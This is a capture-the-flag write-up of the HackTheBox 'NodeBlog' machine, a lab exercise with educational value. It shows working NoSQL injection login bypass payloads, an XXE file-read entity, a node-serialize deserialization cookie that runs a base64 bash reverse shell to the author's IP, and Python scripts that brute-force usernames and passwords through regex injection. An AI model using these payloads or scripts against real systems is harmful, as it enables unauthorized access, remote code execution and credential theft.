HTB: NodeBlog
This UHC qualifier box was a neat take on some common NodeJS vulnerabilities. First there’s a NoSQL authentication bypass. Then I’ll use XXE in some post upload ability to leak files, including the site source. With that, I’ll spot a deserialization vulnerability which I can abuse to get RCE. I’ll get the user’s password from Mongo via the shell or through the NoSQL injection, and use that to escalate to root. In Beyond Root, a look at characters that broke the deserialization payload, and scripting the NoSQL injection.
Box Info
Name | NodeBlog Play on HackTheBox |
---|---|
Release Date | 10 Jan 2022 |
Retire Date | 10 Jan 2022 |
OS | Linux |
Base Points | Easy [20] |
N/A (non-competitive) | |
N/A (non-competitive) | |
Creator |
Recon
nmap
nmap
found two open TCP ports, SSH (22) and HTTP (80):
oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.139
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-09 13:30 EST
Nmap scan report for 10.10.11.139
Host is up (0.10s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 8.78 seconds
oxdf@parrot$ nmap -p 22,5000 -sCV -oA scans/nmap-tcpscripts 10.10.11.139
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-09 13:33 EST
Nmap scan report for 10.10.11.139
Host is up (0.092s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
5000/tcp open http Node.js (Express middleware)
|_http-title: Blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.49 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 20.04 Focal. The site is (unsurprisingly based on the box name) running NodeJS.
Website - TCP 80
Site
The page is a blog about UHC with a single article:
Clicking “Read More” leads to http://10.10.11.139:5000/articles/uhc-qualifiers
, which is the full post with some links, all of which lead to publics sites (out of scope):
The “Login” button leads to /login
, which is a login form:
Tech Stack
nmap
identified the site is running NodeJS with Express. The response headers confirm that, but don’t indicate much else:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 1891
ETag: W/"763-yBLqx1Bg/Trp0SZ2cyMSGFoH5nU"
Date: Sun, 09 Jan 2022 22:49:52 GMT
Connection: close
Directory Brute Force
I’ll run feroxbuster
against the site:
oxdf@parrot$ feroxbuster -u http://10.10.11.139:5000
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.139:5000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.0
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 28l 59w 1002c http://10.10.11.139:5000/login
200 28l 59w 1002c http://10.10.11.139:5000/Login
200 28l 59w 1002c http://10.10.11.139:5000/LOGIN
[####################] - 58s 29999/29999 0s found:3 errors:0
[####################] - 58s 29999/29999 515/s http://10.10.11.139:5000
Nothing I don’t already know about.
Shell as admin
Auth Bypass Via NoSQL Injection
Some basic SQL injections didn’t do anything, nor did a quick sqlmap
run against the login form.
Testing for NoSQL injection is a bit trickier than some of the simple checks for SQL injection. PayloadsAllTheThings has a good section of payloads for NoSQL auth bypass to keep as a handy reference for the things I’ll show here. Here we want Node to handle the input as a JSON object. The page by default is submitting as a HTML form (this is set by the Content-Type
header in the request):
POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1
user=admin&password=wrongpassword
In this format, I can try adding changing the data to:
user=admin&password[$ne]=wrongpassword
If the server interprets that how I want, it would make it look for records where the password was not equal to “wrongpassword”, which would return the admin record.
I’ll send the login POST request to Burp Repeater and give this a try, but it doesn’t work.
The other way that data can be sent is as JSON. I’ll change the Content-Type
header, and then convert the body to JSON (first without any injection to make sure the site processed it correctly):
POST /login HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 46
Origin: http://10.10.11.139:5000
Connection: close
Referer: http://10.10.11.139:5000/login
Upgrade-Insecure-Requests: 1
{"user": "admin", "password": "wrongpassword"}
Sending that does return the “Invalid Password” message, which shows that the username was processed and matched. I’ll replace the string “wrongpassword” with a JSON object that uses the $ne
operator to look for records that have the username admin and don’t have that password:
{"user": "admin", "password": {"$ne": "wrongpassword"}}
On sending that, the response comes back with a cookie, which is a good indication I’ve successfully logged in.
I can grab that cookie and add it to Firefox using the dev tools. Alternatively, I could turn intercept on in Burp, submit the login from Firefore, modify it the same way as I did in Repeater, and then forward it. Either way, I have a logged in session in Firefox:
The auth bypass was all I need from this NoSQL injection, but I can also dump out the usernames and passwords from the database. I’ll show this in Beyond Root.
XXE File Read
Site Enumeration
The logged in site has a few more buttons. “New Article” leads to /articles/new
, which is a form for creating a new article:
I tried submitting an article, and it worked:
I can edit articles and delete them as well.
There’s also the “Upload” button. Clicking it pops the file selection interface from my OS. Sending a file returns:
Looking at the response, it’s a bit clearer (as Firefox was treating tags as HTML):
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 144
ETag: W/"90-v0DoTdXwQk7iInwC6sdbQSWTk3E"
Date: Mon, 10 Jan 2022 17:49:14 GMT
Connection: close
Invalid XML Example: <post><title>Example Post</title><description>Example Description</description><markdown>Example Markdown</markdown></post>
I created a dummy XML file of the format the server sent:
<post>
<title>0xdf's Post</title>
<description>A post from 0xdf</description>
<markdown>
## post
This is a test post.
</markdown>
</post>
On uploading that, it leads to /articles/xml
, with what looks like a submission form already filled in:
XXE
The site is clearly accepting XML and parsing that into the form to display back to me. This is a classic opportunity for an XML External Entity (XXE) injection - I’ll see if I can get the XML process to process my input in such a way that it handles it as code. It’s a similar class of bug to SSTI (template injection) and even Log4j.
PayloadsAllTheThings has a lot of example payloads for XXE as well. I’ll grab the first one and try to read /etc/passwd
. I can’t just submit it as is though, I have to work from the template that the site is expecting. I’ll update my XML file to:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<post>
<title>0xdf's Post</title>
<description>Read File</description>
<markdown>&file;</markdown>
</post>
This defines the entity &file;
as the contents of /etc/passwd
, and then references it in the markdown field. When I submit this, it works:
Find Source Location
After not finding much of interest in various files, I found myself trying to crash the site. Errors in the XML just lead to the example payload. Errors in the urls give simple messages like Cannot GET /a
. One thing that did work was sending busted JSON to to /login
:
POST /login HTTP/1.1
Host: 10.10.11.139:5000
Content-Type: application/json
Content-Length: 1
{
The response included a stack trace:
It seems the source for the webapp is running in /opt/blog
.
Deserialization
Source Analysis
I’ll find the source for the application at /opt/blog/server.js
(server.js
is a common name for a Node application).
const express = require('express')
const mongoose = require('mongoose')
const Article = require('./models/article')
const articleRouter = require('./routes/articles')
const loginRouter = require('./routes/login')
const serialize = require('node-serialize')
const methodOverride = require('method-override')
const fileUpload = require('express-fileupload')
const cookieParser = require('cookie-parser');
const crypto = require('crypto')
const cookie_secret = "UHC-SecretCookie"
//var session = require('express-session');
const app = express()
mongoose.connect('mongodb://localhost/blog')
app.set('view engine', 'ejs')
app.use(express.urlencoded({ extended: false }))
app.use(methodOverride('_method'))
app.use(fileUpload())
app.use(express.json());
app.use(cookieParser());
//app.use(session({secret: "UHC-SecretKey-123"}));
function authenticated(c) {
if (typeof c == 'undefined')
return false
c = serialize.unserialize(c)
if (c.sign == (crypto.createHash('md5').update(cookie_secret + c.user).digest('hex')) ){
return true
} else {
return false
}
}
app.get('/', async (req, res) => {
const articles = await Article.find().sort({
createdAt: 'desc'
})
res.render('articles/index', { articles: articles, ip: req.socket.remoteAddress, authenticated: authenticated(req.cookies.auth) })
})
app.use('/articles', articleRouter)
app.use('/login', loginRouter)
app.listen(5000)
What jumps out to me is the import of node-serialize
, which implies serialization is in use, which is always a risky path.
The unserialize
function is being called on c
, which is likely the cookie. Looking at the cookie, it’s clearly URL encoded JSON:
%7B%22user%22%3A%22admin%22%2C%22sign%22%3A%2223e112072945418601deb47d9a6c7de8%22%7D
This decodes to:
{"user":"admin","sign":"23e112072945418601deb47d9a6c7de8"}
It is worth noting that all the non-letters/digits in the cookie are URL encoded.
Exploit POC
This blog post does a nice job writing up the path to exploit node-serialize. The example payload they give is:
{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout) });}()"}
The source code makes it clear that this is checked before the user
or sign
fields, so I can just make this my cookie. I’ll start with:
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.8', function(error, stdout, stderr){console.log(stdout)});}()"}
This URL encodes to:
%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%7b%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%7d%29%3b%7d%28%29%22%7d
It is important to URL encode (I’ll look at why I need to URL encode this in Beyond Root).
I’ll start tcpdump
, and send this in repeater, which leads to ICMP packets:
oxdf@parrot$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
13:37:28.886060 IP 10.10.11.139 > 10.10.14.8: ICMP echo request, id 1, seq 1, length 64
13:37:28.886083 IP 10.10.14.8 > 10.10.11.139: ICMP echo reply, id 1, seq 1, length 64
Shell
I played with a few things, but ended up getting a base64 encoded bash reverse shell to work. I created it in my own terminal:
oxdf@parrot$ echo 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0MyAwPiYxCg==
Then tested that it worked by running and making sure it connected:
oxdf@parrot$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC44LzQ0MyAwPiYxCg==|base64 -d|bash
Then reset nc
and put the payload into the GET request:
GET / HTTP/1.1
Host: 10.10.11.139:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: auth=%7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%65%63%68%6f%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%34%4c%7a%51%30%4d%79%41%77%50%69%59%78%43%67%3d%3d%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%7b%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%7d%29%3b%7d%28%29%22%7d
Upgrade-Insecure-Requests: 1
Set-GPC: 1
On sending in Repeater, I got a shell:
oxdf@parrot$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.139 38464
bash: cannot set terminal process group (849): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$
I’ll upgrade it using the script
trick:
admin@nodeblog:/opt/blog$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
bash: /home/admin/.bashrc: Permission denied
admin@nodeblog:/opt/blog$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@parrot$ stty raw -echo; fg
nc -lnvp 443
reset
admin@nodeblog:/opt/blog$
user.txt
At least on initial deploy to HTB, the machine went out with strange permissions on /home/admin
. This is first visible when I load the shell and get an error: “bash: /home/admin/.bashrc: Permission denied”.
The directory is set to 644:
admin@nodeblog:/home$ ls -l
total 0
drw-r--r-- 1 admin admin 220 Jan 3 17:16 admin
Without x
on the dir, I can’t go into it. Interestingly, even though user.txt
is readable by admin, I can’t read it:
admin@nodeblog:/home$ cat admin/user.txt
cat: admin/user.txt: Permission denied
But, as admin is the owner of the directory, I can change the permissions, and get the flag:
admin@nodeblog:/home$ chmod +x admin/
admin@nodeblog:/home$ cd admin/
admin@nodeblog:~$ cat user.txt
621989e8************************
This may be fixed, but it was an interesting exploration of Linux file permissions.
Shell as root
Enumeration
General
There’s nothing else of interest in /home/admin
. sudo
requests a password for the admin user:
admin@nodeblog:~$ sudo -l
[sudo] password for admin:
Looking at what is running on the host, I’ll see mongod
:
admin@nodeblog:~$ ps auxww
...[snip]...
mongodb 693 0.3 1.8 983884 76276 ? Ssl Jan10 0:39 /usr/bin/mongod --unixSocketPrefix=/run/mongodb --config /etc/mongodb.conf
...[snip]...
That config shows it’s listening on the default port of 27017, which is in the netstat
:
admin@nodeblog:~$ netstat -tnlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::5000 :::* LISTEN 849/node /opt/blog/
Mongo
There’s a few ways to get data from Mongo. mongo
will connect to a local instance with no additional parameters:
admin@nodeblog:~$ mongo
MongoDB shell version v3.6.8
connecting to: mongodb://127.0.0.1:27017
Implicit session: session { "id" : UUID("6c8944d0-e1f8-4ccb-9613-a4bec8925cb1") }
MongoDB server version: 3.6.8
Server has startup warnings:
2022-01-10T21:09:16.064+0000 I CONTROL [initandlisten]
2022-01-10T21:09:16.064+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database.
2022-01-10T21:09:16.064+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted.
2022-01-10T21:09:16.064+0000 I CONTROL [initandlisten]
>
I can show the databases:
> show dbs
admin 0.000GB
blog 0.000GB
config 0.000GB
local 0.000GB
All of those except for blog
are default dbs in Mongo. I’ll look at blog
:
> use blog
switched to db blog
> show collections
articles
users
Two collections, the users
obviously of more interest as it could contain auth information. In fact, it has the plaintext password for admin:
> db.users.find()
{ "_id" : ObjectId("61b7380ae5814df6030d2373"), "createdAt" : ISODate("2021-12-13T12:09:46.009Z"), "username" : "admin", "password" : "IppsecSaysPleaseSubscribe", "__v" : 0 }
Another way to get to this same information would be with mongodump
. From an empty directory, I’ll run it:
admin@nodeblog:/dev/shm$ mongodump
2022-01-11T00:41:49.300+0000 writing admin.system.version to
2022-01-11T00:41:49.301+0000 done dumping admin.system.version (1 document)
2022-01-11T00:41:49.301+0000 writing blog.articles to
2022-01-11T00:41:49.301+0000 writing blog.users to
2022-01-11T00:41:49.301+0000 done dumping blog.articles (2 documents)
2022-01-11T00:41:49.301+0000 done dumping blog.users (1 document)
All the data was written to files in dump
:
admin@nodeblog:/dev/shm$ ls
dump multipath
admin@nodeblog:/dev/shm$ ls dump/
admin blog
There are four files in blog
:
admin@nodeblog:/dev/shm$ ls dump/blog/
articles.bson articles.metadata.json users.bson users.metadata.json
The metadata.json
files aren’t interesting. And the .bson
files are binary:
admin@nodeblog:/dev/shm$ xxd dump/blog/users.bson
00000000: 6e00 0000 075f 6964 0061 b738 0ae5 814d n...._id.a.8...M
00000010: f603 0d23 7309 6372 6561 7465 6441 7400 ...#s.createdAt.
00000020: 19e7 b2b3 7d01 0000 0275 7365 726e 616d ....}....usernam
00000030: 6500 0600 0000 6164 6d69 6e00 0270 6173 e.....admin..pas
00000040: 7377 6f72 6400 1a00 0000 4970 7073 6563 sword.....Ippsec
00000050: 5361 7973 506c 6561 7365 5375 6273 6372 SaysPleaseSubscr
00000060: 6962 6500 105f 5f76 0000 0000 0000 ibe..__v......
While I can get the password out of that, bsondump
will make it nice to read:
admin@nodeblog:/dev/shm$ bsondump dump/blog/users.bson
{"_id":{"$oid":"61b7380ae5814df6030d2373"},"createdAt":{"$date":"2021-12-13T12:09:46.009Z"},"username":"admin","password":"IppsecSaysPleaseSubscribe","__v":0}
2022-01-11T00:43:37.566+0000 1 objects found
sudo su
It turns out that admin reuses their password between the website and the host, as it works when sudo
prompts:
admin@nodeblog:/dev/shm$ sudo -l
[sudo] password for admin:
Matching Defaults entries for admin on nodeblog:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on nodeblog:
(ALL) ALL
(ALL : ALL) ALL
And, admin can run anything as root. sudo su
will return a root shell:
admin@nodeblog:/dev/shm$ sudo su
root@nodeblog:/dev/shm#
And I can read root.txt
:
root@nodeblog:~# cat root.txt
8c01d129************************
Beyond Root
Bad Characters in Deserialization Payload
For the deserialization payload, when I used ctrl-u to “encode key characters” in Burp, the payload didn’t work. When I encoded all the characters, it did. I wanted to figure out what was breaking it. I’ll explore a bit in this video:
The answer is two things. With no encoding, it breaks because of the ;
. That signifies the end of the cookie in HTTP, and thus breaks things. So when I ctrl-u, that is fixed. But ctrl-u also replaces spaces with +
, which seems to break this application as well. On replacing those with either spaces or %20
, the payload works fine.
Moral of the story - pay attention to the encoding.
NoSQL Data Collection
I was able to use the NoSQL injection to bypass auth on the login form. I could also use that to enumerate at least the fields used in the query. I started with a script that would give me all the accounts on the box.
#!/usr/bin/env python3
import requests
import string
def brute_username(user):
for c in string.ascii_lowercase:
print(f'\r{user}{c:<50}', end='')
payload = { 'user':
{ '$regex' : f'^{user}{c}' },
'password': '0xdf'
}
resp = requests.post('http://10.10.11.139:5000/login', json=payload)
if 'Invalid Password' in resp.text:
payload = {'user': f'{user}{c}', 'password': '0xdf'}
resp = requests.post('http://10.10.11.139:5000/login', json=payload)
if 'Invalid Password' in resp.text:
print(f'\r{user}{c}')
brute_username(f'{user}{c}')
brute_username('')
print('\r', end='')
It is a recursive function that tries the current string plus one new character and uses regex search to see if there’s a user that starts with that pattern. If there is, it checks if that new string is a valid user, and if so, prints it. It then continues checking for next characters either way. That’s important to catch if there’s both admin and administrator, for example.
It turns out there’s only one user, admin:
I’ll write another quick script that will take a username and get the password. I originally skipped past this assuming that the password would be a hash I didn’t need yet. Only later did I find that it was a cleartext password that I needed to solve the box.
This time I know there’s only one valid password for the given user, so I can use a simple while
loop until I find it:
#!/usr/bin/env python3
import requests
import string
import sys
user = sys.argv[1]
password = ''
found = False
while not found:
for c in string.ascii_letters + string.digits + '!@#$%^&,':
print(f'\r{password}{c:<50}', end='')
payload = { 'user': user,
'password':
{ '$regex' : f'^{password}{c}' },
}
resp = requests.post('http://10.10.11.139:5000/login', json=payload)
if not 'Invalid Password' in resp.text:
payload = {'user': user, 'password': password + c}
resp = requests.post('http://10.10.11.139:5000/login', json=payload)
password += c
if not 'Invalid Password' in resp.text:
print(f'\r{password}')
found = True
break
It finds the password pretty quickly: